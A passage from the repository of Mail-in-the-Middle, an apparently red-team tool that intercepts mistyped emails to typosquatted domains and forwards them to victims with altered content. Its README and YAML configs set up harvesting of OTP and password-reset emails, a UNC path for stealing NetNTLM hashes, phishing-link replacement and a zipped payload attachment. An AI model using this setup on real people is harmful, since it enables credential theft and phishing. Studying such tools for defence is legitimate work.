145 | For example, if we want to fix a typo in the email felipe@mydomani.com and forward to felipe@mydomain.com and we want to forward emails sent to mircosoft.com, and micrrosoftr.com and send them to users of microsoft.com, we write the following:
146 | ```yaml
147 | address:
148 | felipe@mydomani.com: felipe@mydomain.com
149 | domain:
150 | mircosoft.com: microsoft.com
151 | micrrosoftr.com: microsoft.com
152 | ```
153 |
154 | filter.yml
155 | ----------
156 | The file allows you to define what emails are forwarded and tainted with your links and content. The following root parameters can be defined:
157 | * **monitor**: A dictionary containing the criteria of what to monitor in loop. The keys you can use here are:
158 | * **from_domains**: A list of domains of the emails specified in the "From" field of the email.
159 | * **to_domains**: A list of domains of the emails specified in the "To" field of the email.
160 | * **subject**: A list of subjects of emails to forward. Like "OTP", "Registration", etc.
161 | * **ignore**: A dictionary containing the criteria of what to ignore, like a deny-list of things you don't want to forward:
162 | * **to_domains**: A list of domains of the emails specified in the "To" field of the email to ignore.
163 | * **from_domains**: A list of domains of the emails specified in the "From" field of the email to ignore.
164 | * **subjects**: A list of Subjects to ignore. If any of the previous filter matches (from_domains, to_domains, subject_srt), the email will not be forwarded if it contains the strings defined here.
165 | * **seen_email**: A boolean indicating whether we should ignore already read emails or not.
166 | * **date_limit**: A UTC date with the format YYYY-MM-DD HH:mm:ss+00.Forward emails only if are more recent than this date.
167 |
168 | auth.yml
169 | --------
170 | Contains two main sections:
171 | * **send**: Two protocols can be used to send out emails: Microsoft O365 **oauth2legacy** or **smtp**. To use Microsoft O365 oauth2 legacy, refer to https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/grant-admin-consent?pivots=portal#construct-the-url-for-granting-tenant-wide-admin-consent
172 | * **read**: Two protocols can be used to read emails form your catchall email server: **imap** or **oauth2legacy**.
173 | An example configuration file using smtp for sending out emails and imap for reading emails from your inbox looks like this:
174 | ```yaml
175 | send:
176 | oauth2legacy:
177 | email:
178 | password:
179 | client_id:
180 | client_secret:
181 | tenant_id:
182 | read:
183 | imap:
184 | username:
185 | password:
186 | server:
187 | port: 993
188 | ssl: True
189 | ```
190 |
191 | If you want to use smtp instead of oauth2 legacy, your file would look similar to this:
192 | ```yaml
193 | send:
194 | smtp:
195 | username:
196 | password:
197 | server:
198 | port: 587
199 | tls: True
200 | read:
201 | imap:
202 | username:
203 | password:
204 | server:
205 | port: 993
206 | ssl: True
207 | ```
208 |
209 | injections.yml
210 | --------------
211 | Define what to do with the email content.
212 | It has four root keys:
213 | * **tracking_url**: The URL of your tracking pixel. It gets injected at the beggining of the email within an ```
``` tag.
214 | * **unc_path**: The UNC path to exfiltrate NetNTLM tokens of your targets. It gets injected at the beggining of the email within an ```
``` tag.
215 | * **attachments**: It defines what to do with the attachments of the emails. If it is defined, it will replace the original attachment of the email or inject a new one if there was none. It has to contain the following attributes:
216 | * **path**: Path to our attachement.
217 | * **attachment_message**: HTML code to introduce at the beggining of the email to instruct your targets how to unzip and execute your payload ;-)
218 | * **links**: It defines what to do with the original links of the email. It can contain the following attributes:
219 | * **all**: A URL with which ALL the links of the email will be replaced.
220 | * ****: The first level domain of the links in the email that will be replaced with your URL. You can define more than 1. E.g. if you define office.com: https://attacker.com/notaphish.html, only the links pointing to \*.office.com/\* will be replaced with the attacker's defined link.
221 |
222 | notifications.yml
223 | -----------------
224 | Two keys. One for "teams", other for "discord". Both optional.
225 | If you want to send a message to your Teams and Discord chats, your file would look like this:
226 | ```yaml
227 | teams: "https://.webhook.office.com/webhookb2/"
228 | # Testing discord
229 | discord: "https://discord.com/api/webhooks/"
230 | ```
231 |
232 | Talks
233 | =====
234 | The tool was published the first time on February 2024 in this [blog post](https://sensepost.com/blog/2024/mail-in-the-middle-a-tool-to-automate-spear-phishing-campaigns/) and it was publicly presented at Brucon 0x10 in September 2024:
235 |
236 | https://www.youtube.com/watch?v=D37EQuX297g&ab_channel=BruCONSecurityConference
237 |
238 | License
239 | =======
240 | Maitm is licensed under a [GNU General Public v3 License](https://www.gnu.org/licenses/gpl-3.0.en.html). Permissions beyond the scope of this license may be available at http://sensepost.com/contact/.
241 |
242 | Feedback
243 | ========
244 | PRs are welcome. Please, let me know of any other ideas or suggestions via twitter [@felmoltor](https://twitter.com/felmoltor).
245 |
246 | Original Idea
247 | =============
248 | Intercepting mail using this method was originally spearheaded internally by [Willem Mouton](https://twitter.com/_w_m__). Szymon Ziolkowski ([@TH3_GOAT_FARM3R](https://twitter.com/TH3_GOAT_FARM3R)) proposed the automation that Felipe Molina ([@felmoltor](https://twitter.com/felmoltor)) then implemented and expanded on.
249 |
--------------------------------------------------------------------------------
/config/auth.yml:
--------------------------------------------------------------------------------
1 | # Authentication profile for reading the emails
2 | send:
3 | # To use Oauth2, you need to register an application in Azure AD and grant the necessary permissions:
4 | # https://ecederstrand.github.io/exchangelib/#oauth-authentication
5 | # To grant admin consent ot use an application: https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/grant-admin-consent?pivots=portal#construct-the-url-for-granting-tenant-wide-admin-consent
6 | # I had troubles using basic oauth2, so for now, the software only supports oauth2legacy
7 | oauth2legacy:
8 | email:
9 | password:
10 | client_id:
11 | client_secret:
12 | tenant_id:
13 | # smtp:
14 | # username:
15 | # password:
16 | # server:
17 | # port: 587
18 | # tls: True
19 | # Authentication profile for sending out emails
20 | read:
21 | imap:
22 | username:
23 | password:
24 | server:
25 | port: 993
26 | ssl: True
27 |
--------------------------------------------------------------------------------
/config/config.yml:
--------------------------------------------------------------------------------
1 | auth: auth.yml
2 | filter: filter.yml
3 | injections: injections.yml
4 | misc: misc.yml
5 | notifications: notifications.yml
6 | typos: typos.yml
--------------------------------------------------------------------------------
/config/filter.yml:
--------------------------------------------------------------------------------
1 | monitor:
2 | subject:
3 | - " OTP "
4 | - "Password Reset"
5 | - "Account Reset"
6 | - "Reset Link"
7 | - "Account Recover"
8 | from_domains:
9 | - pear.com
10 | - atlassian.com
11 | - microsoftonline.com
12 | to_domains:
13 | - yourcatchalldomain.com
14 | - mircosoft.com
15 | - micrrosoftr.com
16 | - yourclientdomian.com
17 | ignore:
18 | seen_email: True
19 | subjects:
20 | - "Ignore this subject"
21 | - "Do not look at me"
22 | to_domains:
23 | - donotlookatme.com
24 | from_domains:
25 | - donotlookatme.com
26 | - microsoft.com
27 | - gmail.com
28 | - outlook.com
29 | # Date limit should be specified with the time and the offset for the script to not fail
30 | # E.g. to specify the timestapm in UTC you have to add the +00 at the end
31 | date_limit: 2024-03-14 12:00:40+00
32 |
--------------------------------------------------------------------------------
/config/injections.yml:
--------------------------------------------------------------------------------
1 | attachments:
2 | path: /tmp/Phishing/documentation.pdf.zip # Path to the attachment to inject
3 | attachment_message: "Use the password 'documentation' to access the contents of the attached zip"
4 | links:
5 | all: https://www.bing.com/search?q=what+is+phishing # Evilginx/Gophish Phishing Lure URL
6 | #shl.com: https://www.bing.com/search?q=an+elephant
7 | #office.com: https://www.bing.com/search?q=a+squirrel
8 | #google.com: https://www.bing.com/search?q=a+zebra
9 | headers:
10 | X-Added-Header: "This is my injected header" # Disclaimer: If you use Exchange 365, it will remove headers
11 | tracking_url: "https://yourtrackingpixeldomain.com/path.html?param=1"
12 | unc_path: "\\\\1.1.1.1\\images\\xxxxx.png"
13 |
--------------------------------------------------------------------------------
/config/logging.yml:
--------------------------------------------------------------------------------
1 | version: 1
2 | disable_existing_loggers: False
3 | formatters:
4 | simple:
5 | format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
6 | handlers:
7 | file_handler:
8 | class: logging.FileHandler
9 | level: DEBUG
10 | formatter: simple
11 | filename: 'logs/latest_mailinthemiddle.log'
12 | mode: 'a'
13 | console:
14 | class: logging.StreamHandler
15 | level: INFO
16 | formatter: simple
17 | stream: ext://sys.stdout
18 | root:
19 | level: DEBUG
20 | handlers: [file_handler, console]
--------------------------------------------------------------------------------
/config/misc.yml:
--------------------------------------------------------------------------------
1 | fixed_destinations:
2 | - felipe@mycatchall.com
3 | sender:
4 | spoof: False
5 | # fixed: "Microsoft Security "
6 | poll_interval: 120
7 | tracking_param: 'customerid'
--------------------------------------------------------------------------------
/config/notifications.yml:
--------------------------------------------------------------------------------
1 | # Testing:
2 | # teams: "https://.webhook.office.com/webhookb2/"
3 | # Testing discord
4 | discord: "https://discord.com/api/webhooks/"
5 |
--------------------------------------------------------------------------------
/config/typos.yml:
--------------------------------------------------------------------------------
1 | address:
2 | felipe@mircosoft.com: felipe@mircosoft.com
3 | szymon@applle.com: szymon@apple.com
4 | domain:
5 | mircosoft.com: microsoft.com
6 | applle.com: apple.com
7 | gmial.com: gmail.com
8 |
--------------------------------------------------------------------------------
/gui.css:
--------------------------------------------------------------------------------
1 | /****************/
2 | /* TYPOS STYLES */
3 | /****************/
4 |
5 | .outer-typos-grid {
6 | layout: grid;
7 | grid-size: 2 2;
8 | grid-columns: 50% 50%;
9 | grid-rows: 90% 10%;
10 | }
11 |
12 | .typos-box {
13 | border: solid rgb(34, 12, 130);
14 | }
15 |
16 | .inner-typos-grid {
17 | layout: grid;
18 | grid-size: 1 4;
19 | /* grid-columns: 100%; */
20 | grid-rows: 5% 70% 15% 15%;
21 | border: solid rgb(131, 23, 79);
22 | }
23 |
24 | .typos-form-data-grid {
25 | layout: grid;
26 | grid-size: 4 1;
27 | grid-columns: 10% 40% 10% 40%;
28 | border: solid rgb(216, 147, 37);
29 | }
30 |
31 | .inner-typos-label {
32 | text-style: bold;
33 | }
34 |
35 | .typos-listview {
36 | align: center top;
37 | border: #aaaaaa;
38 | }
39 | /*
40 | .typos-listitem {
41 | padding: 1;
42 | } */
43 |
44 | /*************************/
45 | /* NOTIFICATIONS STYLES */
46 | /*************************/
47 |
48 | /* Grid for input fields */
49 | .notifications-input-grid {
50 | layout: grid;
51 | grid-size: 2;
52 | grid-columns: 10% 90%;
53 | padding: 1;
54 | }
55 |
56 | .notifications-container {
57 | layout: grid;
58 | grid-size: 1 3;
59 | grid-rows: 15% 15% 70%;
60 | }
61 |
62 | /* Labels */
63 | #teams-label, #discord-label {
64 | text-style: bold;
65 | }
66 |
67 | /*****************/
68 | /* FILTER STYLES */
69 | /*****************/
70 |
71 | .root-filter-grid {
72 | layout: grid;
73 | grid-size: 1 3;
74 | grid-rows: 15vh 160vh 15vh;
75 | }
76 |
77 | .filter-form-label {
78 | align: center middle;
79 | text-align: center;
80 | text-style: bold;
81 | margin-bottom: 1;
82 | }
83 |
84 | .filter-box {
85 | border: solid rgb(190, 174, 147);
86 | layout: grid;
87 | grid-size: 1 4;
88 | grid-rows: 10% 50% 20% 20%;
89 | }
90 |
91 | .outer-filter-box {
92 | border: green;
93 | }
94 | /*
95 | .filter-listitem {
96 | padding: 1;
97 | } */
98 |
99 | .filter-first-row {
100 | layout: grid;
101 | grid-size: 4 1;
102 | grid-columns: 10% 10% 10% 70%;
103 | /* border: rgb(204, 16, 166); */
104 | }
105 |
106 | .inner-filter-label {
107 | text-style: bold;
108 | align: center middle;
109 | text-align: center;
110 | /* border: wide white; */
111 | text-align: center;
112 | padding-bottom: 1;
113 | }
114 |
115 | /*********************/
116 | /* INJECTIONS STYLES */
117 | /*********************/
118 |
119 | .inner-injections-label {
120 | text-style: bold;
121 | align: center middle;
122 | text-align: center;
123 | /* border: wide white; */
124 | text-align: center;
125 | padding-bottom: 1;
126 | }
127 |
128 | .injections-form-label {
129 | align: center middle;
130 | text-align: center;
131 | }
132 |
133 | .injections-box {
134 | border: solid green;
135 | height: 70vh;
136 | }
137 |
138 | .injections-box-other {
139 | height: 35vh;
140 | }
141 |
142 | .injections-box-attachments {
143 | height: 35vh;
144 | }
145 |
146 | .injections-listsviews-box {
147 | layout: grid;
148 | grid-size: 1 5;
149 | grid-rows: 10% 55% 10% 15% 15%;
150 | }
151 |
152 | .injections-headers-input {
153 | layout: grid;
154 | grid-size: 4 1;
155 | grid-columns: 10% 40% 10% 40%;
156 | }
157 |
158 | .injections-link-all-input {
159 | layout: grid;
160 | grid-size: 2 1;
161 | grid-columns: 10% 90%;
162 | display: none;
163 | }
164 |
165 | .injections-link-domain-input {
166 | layout: grid;
167 | grid-size: 4 1;
168 | grid-columns: 7% 21% 7% 65%;
169 | display: none;
170 | }
171 |
172 | .injections-form-buttons {
173 | padding-top: 1;
174 | }
175 |
176 | .vertical-scroll-container {
177 | height: 80%; /* Ensure height is limited so content can overflow */
178 | overflow-y: auto; /* Enable vertical scrolling */
179 | border: solid rgb(131, 23, 79);
180 | }
181 |
182 | .injections-listviews {
183 | align: center top;
184 | border: #aaaaaa;
185 | }
186 |
187 | /* .injections-listitem {
188 | padding: 1;
189 | } */
190 |
191 | /*************************/
192 | /* AUTHENTICATION STYLES */
193 | /*************************/
194 |
195 | .grid-auth {
196 | layout: grid;
197 | grid-size: 2 3;
198 | grid-columns: 20% 80%;
199 | grid-rows: 60vh 60vh 10vh;
200 | }
201 |
202 | .auth-box {
203 | border: solid green;
204 | height: auto;
205 | /* width: auto; */
206 | }
207 |
208 | #sending-emails-label,
209 | #reading-emails-label {
210 | text-style: bold;
211 | /* text-align: center; */
212 | }
213 |
214 | /* Force all the labels in the authentication form have the same width, so the form does not look ugly */
215 | .label-auth-form {
216 | width: 15; /* Set a fixed width for labels */
217 | text-align: right; /* Align the text to the right */
218 | padding-right: 1; /* Add a bit of padding for spacing */
219 | }
220 |
221 | .visible {
222 | display: block;
223 | }
224 |
225 | .hidden {
226 | display: none;
227 | }
228 |
229 | .smtp-send-params-box {
230 | display: block;
231 | }
232 |
233 | .oauth2l-send-params-box {
234 | display: none;
235 | }
236 |
237 | .imap-read-params-box {
238 | display: block;
239 | }
240 |
241 | .oauth2l-read-params-box {
242 | display: none;
243 | }
244 |
245 | /******************/
246 | /* MISCELANEA TAB */
247 | /******************/
248 | .miscelanea-box {
249 | padding: 1;
250 | margin-bottom: 1;
251 | border: green;
252 | /* align: center middle; */
253 | }
254 |
255 | .miscelanea-listview {
256 | border: #aaaaaa;
257 | overflow: auto;
258 | }
259 |
260 | .miscelanea-container {
261 | padding: 1;
262 | layout: grid;
263 | grid-size: 1 3;
264 | grid-rows: 75vh 60vh 10vh;
265 | overflow-y: scroll;
266 | }
267 |
268 | /**************/
269 | /* RUN SCREEN */
270 | /**************/
271 |
272 | #run-button {
273 | width: 90%;
274 | color: white;
275 | padding: 1;
276 | align: center top;
277 | }
278 |
279 | #button-configuration {
280 | padding: 1;
281 | }
282 |
283 | #configuration-container {
284 | align: center top;
285 | }
286 |
287 | #left-panel {
288 | width: 25%;
289 | padding: 1;
290 | }
291 |
292 | #terminal_output {
293 | width: 70%;
294 | background: black;
295 | color: white;
296 | }
297 |
298 | #testing-container {
299 | layout: grid;
300 | grid-size: 1 4;
301 | content-align: left top;
302 | }
303 |
304 | .hidden {
305 | display: none;
306 | }
307 |
308 | .top-dock-margin {
309 | /* dock: top; */
310 | margin-top: 1;
311 | align: center middle;
312 | }
313 |
314 | #fixed-destinations-box {
315 | layout: grid;
316 | grid-size: 1 4;
317 | grid-rows: 10% 60% 15% 15%;
318 | }
319 |
320 | #testing-onlynewmails-container {
321 | margin-top: 1;
322 | }
323 |
324 | #collapsible-testing-settings {
325 | height: auto;
326 | }
--------------------------------------------------------------------------------
/img/arch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/arch.png
--------------------------------------------------------------------------------
/img/flowchart.drawio.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/flowchart.drawio.png
--------------------------------------------------------------------------------
/img/maitm-auth-screen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm-auth-screen.png
--------------------------------------------------------------------------------
/img/maitm-filter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm-filter.png
--------------------------------------------------------------------------------
/img/maitm-injections.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm-injections.png
--------------------------------------------------------------------------------
/img/maitm-misc-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm-misc-1.png
--------------------------------------------------------------------------------
/img/maitm-misc-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm-misc-2.png
--------------------------------------------------------------------------------
/img/maitm-run-interface.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm-run-interface.png
--------------------------------------------------------------------------------
/img/maitm-typos.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm-typos.png
--------------------------------------------------------------------------------
/img/maitm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/mail-in-the-middle/ed7d2cad3f2c3ebfb070c35a8a4db538e4ccd132/img/maitm.png
--------------------------------------------------------------------------------
/mail-in-the-middle.py:
--------------------------------------------------------------------------------
1 | #/usr/bin/env python
2 |
3 | from Maitm import Maitm
4 | import logging.config
5 | import argparse
6 | from datetime import datetime
7 | import os
8 | import yaml
9 | from tui import MaitmTUI
10 |
11 | ############
12 | # FUNCTION #
13 | ############
14 |
15 | def init_logging(log_filename):
16 | # Ensure the 'logs' directory exists
17 | os.makedirs(os.path.dirname(log_filename), exist_ok=True)
18 |
19 | # Load the logging configuration from a YAML file
20 | with open('config/logging.yml', 'r') as f:
21 | config = yaml.safe_load(f.read())
22 | # Update the filename in the configuration
23 | config['handlers']['file_handler']['filename'] = log_filename
24 | logging.config.dictConfig(config)
25 |
26 | # Example usage
27 | logger = logging.getLogger()
28 | logger.info("Init logging finished")
29 | return logger
30 |
31 | def parse_arguments():
32 | current_file_dir = os.path.dirname(os.path.abspath(__file__))
33 |
34 | parser = argparse.ArgumentParser(description='Monitor and relay emails with typos')
35 |
36 | # Add a positional argument 'mode' (either 'tui' or 'cli')
37 | parser.add_argument('mode', choices=['tui', 'cli'],
38 | help="Mode to run the program in: 'tui' for the graphical interface, 'cli' for command-line interface")
39 |
40 | # Optional arguments (only for CLI mode)
41 | parser.add_argument('-c','--config', dest='config',
42 | help='Configuration file with IMAP and SMTP details (Default: config/config.yml)',
43 | default=os.path.join(current_file_dir, "config/config.yml"))
44 | parser.add_argument('-n','--new', dest='new', action="store_true",
45 | help='Poll only for new emails')
46 | parser.add_argument('-f','--forward', dest='forward', action="store_true", default=False,
47 | help='Forward the emails automatically (default: False)')
48 |
49 | args = parser.parse_args()
50 |
51 | return args
52 |
53 | def get_version():
54 | v = "vX.X.X"
55 | with open("version","r") as f:
56 | v = f.readlines()[0].strip()
57 | return v
58 |
59 | # https://stackoverflow.com/questions/40419276/python-how-to-print-text-to-console-as-hyperlink
60 | def link(uri, label=None):
61 | if label is None:
62 | label = uri
63 | parameters = ''
64 |
65 | # OSC 8 ; params ; URI ST OSC 8 ;; ST
66 | escape_mask = '\033]8;{};{}\033\\{}\033]8;;\033\\'
67 |
68 | return escape_mask.format(parameters, uri, label)
69 |
70 | def banner():
71 | b = """
72 | ███╗ ███╗ █████╗ ██╗████████╗███╗ ███╗
73 | ████╗ ████║██╔══██╗██║╚══██╔══╝████╗ ████║
74 | ██╔████╔██║███████║██║ ██║ ██╔████╔██║
75 | ██║╚██╔╝██║██╔══██║██║ ██║ ██║╚██╔╝██║
76 | ██║ ╚═╝ ██║██║ ██║██║ ██║ ██║ ╚═╝ ██║
77 | ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ %s
78 |
79 | Man in the Middle, but for Mails
80 |
81 | """
82 | b2 = f"Author: Felipe Molina de la Torre ({link('https://x.com/felmoltor',label='@felmoltor')})"
83 | b3 = f"Original idea: Willem Mouton ({link('https://x.com/_w_m__',label='@_w_m__')}), continued by Szymon Zilokowski ({link('https://x.com/TH3_GOAT_FARM3R',label='@TH3_GOAT_FARM3R')})"
84 | print(b % get_version() + b2 + "\n" + b3 + "\n")
85 |
86 | ########
87 | # MAIN #
88 | ########
89 |
90 | def main():
91 | banner()
92 | # Parse options
93 | arguments=parse_arguments()
94 |
95 | # Check if the config path is relative
96 | if not os.path.isabs(arguments.config):
97 | # If it is, convert it to an absolute path using the current working directory
98 | arguments.config = os.path.join(os.getcwd(), arguments.config)
99 |
100 | # Init logging
101 | log_filename = "logs/" + datetime.now().strftime('%Y%m%d_%H%M%S') + '_mailinthemiddle.log'
102 | init_logging(log_filename)
103 | # Create forwarded emails list file if it does not exists
104 | if not os.path.exists("forwardedemails.txt"):
105 | open("forwardedemails.txt", "w").close()
106 |
107 | if arguments.mode == 'tui':
108 | # Start the GUI application
109 | app = MaitmTUI() # Assuming MaitmTUI is your Textual GUI class
110 | app.run()
111 | else:
112 | # Run the CLI version of the tool
113 | print(f"Running in CLI mode with config: {arguments.config}")
114 | # Create Maitm object
115 | maitm = Maitm(config_file=arguments.config,
116 | only_new=arguments.new,
117 | forward_emails=arguments.forward,
118 | logfile=log_filename)
119 | logging.info("[%s] Logging to server for reading emails" % maitm.mailmanager.read_protocol.value)
120 | maitm.mailmanager.login_read()
121 | logging.info("[%s] Logging to server for sending emails" % maitm.mailmanager.send_protocol.value)
122 | maitm.mailmanager.login_send()
123 |
124 | # Initial Heartbeat
125 | # maitm.heartbeat()
126 | logging.info("Monitoring inbox now...")
127 | maitm.monitor_inbox()
128 |
129 | if __name__ == "__main__":
130 | main()
131 |
--------------------------------------------------------------------------------
/tabs/__init__.py:
--------------------------------------------------------------------------------
1 | from .authentication import AuthenticationTab
2 | from .notifications import NotificationsTab
3 | from .typos import TyposTab
4 | from .injection import InjectionsTab
5 | from .filter import FilterTab
6 | from .misc import MiscTab
--------------------------------------------------------------------------------
/tabs/authentication.py:
--------------------------------------------------------------------------------
1 | import os
2 | from textual.app import ComposeResult
3 | from textual.widgets import Label, Button, Input, RadioSet, RadioButton, Switch
4 | from textual.containers import Vertical, VerticalScroll, Horizontal, Container
5 | from textual.validation import Number
6 | from textual.binding import Binding
7 | import yaml
8 |
9 | # Define the Authentication tab as its own class
10 | class AuthenticationTab(Vertical):
11 | # CSS
12 | CSS_PATH='gui.css'
13 | BINDINGS = [
14 | Binding(key="ctrl+s", action="save_config()",description="Save"),
15 | ]
16 |
17 | def __init__(self,global_config_path='config/config.yml'):
18 | super().__init__()
19 | # Config file path
20 | self.global_config_path=global_config_path
21 | self.config_path=self._get_path_from_config('auth')
22 | # Shared configuration variables
23 | self.authentication_protocol_send = "SMTP"
24 | self.authentication_protocol_read = "IMAP"
25 |
26 | def _get_path_from_config(self, section):
27 | """Get the path to the configuration section file."""
28 | # Load the main configuration file
29 | with open(self.global_config_path, 'r') as config_file:
30 | main_config = yaml.safe_load(config_file)
31 |
32 | # Get the path for the authentication configuration
33 | section_config_path = main_config.get(section)
34 |
35 | # If the auth_config_path is not absolute, make it relative to the directory of config_path
36 | if not os.path.isabs(section_config_path):
37 | global_config_dir = os.path.dirname(self.global_config_path)
38 | section_config_path = os.path.join(global_config_dir, section_config_path)
39 |
40 | return section_config_path
41 |
42 | def action_save_config(self):
43 | """Save the injections configuration to the file."""
44 | self.save_auth_information()
45 |
46 | def compose(self) -> ComposeResult:
47 | """Authentication content."""
48 | auth_container = VerticalScroll(
49 | Container(
50 | Label("Inbound Protocol", id='reading-emails-label', classes='filter-form-label'),
51 | RadioSet(
52 | RadioButton("IMAP", value=True, id='radio-button-read-imap'),
53 | RadioButton("M365 Oauth2 (Legacy)", id='radio-button-read-oauth2l'),
54 | id='radio-set-read'
55 | ),
56 | classes='auth-box',
57 | id='auth-read-box-left'
58 | ),
59 | # IMAP for reading emails container:
60 | Container(
61 | Horizontal(
62 | Label('Username: ', classes='label-auth-form'),
63 | Input(placeholder="Username", id="read-username")
64 | ),
65 | Horizontal(
66 | Label('Password: ', classes='label-auth-form'),
67 | Input(placeholder="Password", id="read-password", password=True)
68 | ),
69 | Horizontal(
70 | Label('Server: ', classes='label-auth-form'),
71 | Input(placeholder="Server", id="read-server")
72 | ),
73 | Horizontal(
74 | Label('Port Number: ', classes='label-auth-form'),
75 | Input(placeholder="Port", id="read-port", type="integer", validators=[
76 | Number(minimum=1,maximum=65535)
77 | ])
78 | ),
79 | Horizontal(
80 | Label('Use TLS: ', classes='label-auth-form'),
81 | Switch(value=True, id="read-tls")
82 | ),
83 | classes='auth-box visible',
84 | id='imap-read-params-box'
85 | ),
86 | # Oauth2 for reading emails container:
87 | Container(
88 | Horizontal(
89 | Label('Username: ', classes='label-auth-form'),
90 | Input(placeholder="Username", id="read-o2-username")
91 | ),
92 | Horizontal(
93 | Label('Password: ', classes='label-auth-form'),
94 | Input(placeholder="Password", id="read-o2-password", password=True)
95 | ),
96 | Horizontal(
97 | Label('Tenant ID: ', classes='label-auth-form'),
98 | Input(placeholder="Tenant ID", id="read-o2-tenant-id")
99 | ),
100 | Horizontal(
101 | Label('Client ID: ', classes='label-auth-form'),
102 | Input(placeholder="Client ID", id="read-o2-client-id")
103 | ),
104 | Horizontal(
105 | Label('Client Secret: ', classes='label-auth-form'),
106 | Input(placeholder="Client Secret", id="read-o2-client-secret", password=True)
107 | ),
108 | classes='auth-box hidden',
109 | id='oauth2l-read-params-box'
110 | ),
111 | Container(
112 | Label("Outbound Protocol", id='sending-emails-label', classes='filter-form-label'),
113 | RadioSet(
114 | RadioButton("SMTP", value=True, id='radio-button-send-smtp'),
115 | RadioButton("M365 Oauth2 (Legacy)", id='radio-button-send-oauth2l'),
116 | id='radio-set-send'
117 | ),
118 | classes='auth-box',
119 | id='auth-send-box-left'
120 | ),
121 | # SMTP for sending emails container:
122 | Container(
123 | Horizontal(
124 | Label('Username: ', classes='label-auth-form'),
125 | Input(placeholder="Username", id="send-username")
126 | ),
127 | Horizontal(
128 | Label('Password: ', classes='label-auth-form'),
129 | Input(placeholder="Password", id="send-password", password=True)
130 | ),
131 | Horizontal(
132 | Label('Server: ', classes='label-auth-form'),
133 | Input(placeholder="Server", id="send-server")
134 | ),
135 | Horizontal(
136 | Label('Port Number: ', classes='label-auth-form'),
137 | Input(placeholder="Port", id="send-port", type="integer", validators=[
138 | Number(minimum=1,maximum=65535)
139 | ])
140 | ),
141 | Horizontal(
142 | Label('Use TLS: ', classes='label-auth-form'),
143 | Switch(value=True, id="send-tls")
144 | ),
145 | classes='auth-box visible',
146 | id='smtp-send-params-box'
147 | ),
148 | # Oauth2 for sending emails container:
149 | Container(
150 | Horizontal(
151 | Label('Username: ', classes='label-auth-form'),
152 | Input(placeholder="Username", id="send-o2-username")
153 | ),
154 | Horizontal(
155 | Label('Password: ', classes='label-auth-form'),
156 | Input(placeholder="Password", id="send-o2-password", password=True)
157 | ),
158 | Horizontal(
159 | Label('Tenant ID: ', classes='label-auth-form'),
160 | Input(placeholder="Tenant ID", id="send-o2-tenant-id")
161 | ),
162 | Horizontal(
163 | Label('Client ID: ', classes='label-auth-form'),
164 | Input(placeholder="Client ID", id="send-o2-client-id")
165 | ),
166 | Horizontal(
167 | Label('Client Secret: ', classes='label-auth-form'),
168 | Input(placeholder="Client Secret", id="send-o2-client-secret", password=True)
169 | ),
170 | classes='auth-box hidden',
171 | id='oauth2l-send-params-box'
172 | ),
173 | Button("Save", variant="primary",id='button-save-auth'),
174 | id='grid-auth',
175 | classes='grid-auth'
176 | )
177 | yield auth_container
178 |
179 | async def on_mount(self) -> None:
180 | """Called after the widget is mounted in the DOM."""
181 | self.read_auth_information()
182 |
183 | def read_auth_information(self):
184 | """Read and populate the data from the auth.yml config file."""
185 | # Check if the configuration file exists
186 | if not os.path.exists(self.config_path):
187 | print(f"Configuration file {self.config_path} does not exist.")
188 | return
189 |
190 | # Load the YAML configuration file
191 | with open(self.config_path, "r") as yaml_file:
192 | config_data = yaml.safe_load(yaml_file)
193 |
194 | # Populate the 'send' configuration
195 | send_config = config_data.get("send", {})
196 | if "smtp" in send_config:
197 | smtp_config = send_config["smtp"]
198 | self.query_one("#send-username", Input).value = smtp_config.get("username", "")
199 | self.query_one("#send-password", Input).value = smtp_config.get("password", "")
200 | self.query_one("#send-server", Input).value = smtp_config.get("server", "")
201 | self.query_one("#send-port", Input).value = str(smtp_config.get("port", ""))
202 | self.query_one("#send-tls", Switch).value = smtp_config.get("tls", False)
203 | self.authentication_protocol_send = "SMTP"
204 | self.query_one('#radio-button-send-smtp', RadioButton).value = True
205 | elif "oauth2legacy" in send_config:
206 | oauth2_send_config = send_config["oauth2legacy"]
207 | self.query_one("#send-o2-username", Input).value = oauth2_send_config.get("email", "")
208 | self.query_one("#send-o2-password", Input).value = oauth2_send_config.get("password", "")
209 | self.query_one("#send-o2-client-id", Input).value = oauth2_send_config.get("client_id", "")
210 | self.query_one("#send-o2-client-secret", Input).value = oauth2_send_config.get("client_secret", "")
211 | self.query_one("#send-o2-tenant-id", Input).value = oauth2_send_config.get("tenant_id", "")
212 | self.authentication_protocol_send = "M365 Oauth2 (Legacy)"
213 | self.query_one('#radio-button-send-oauth2l', RadioButton).value = True
214 |
215 | # Populate the 'read' configuration
216 | read_config = config_data.get("read", {})
217 | if "imap" in read_config:
218 | imap_config = read_config["imap"]
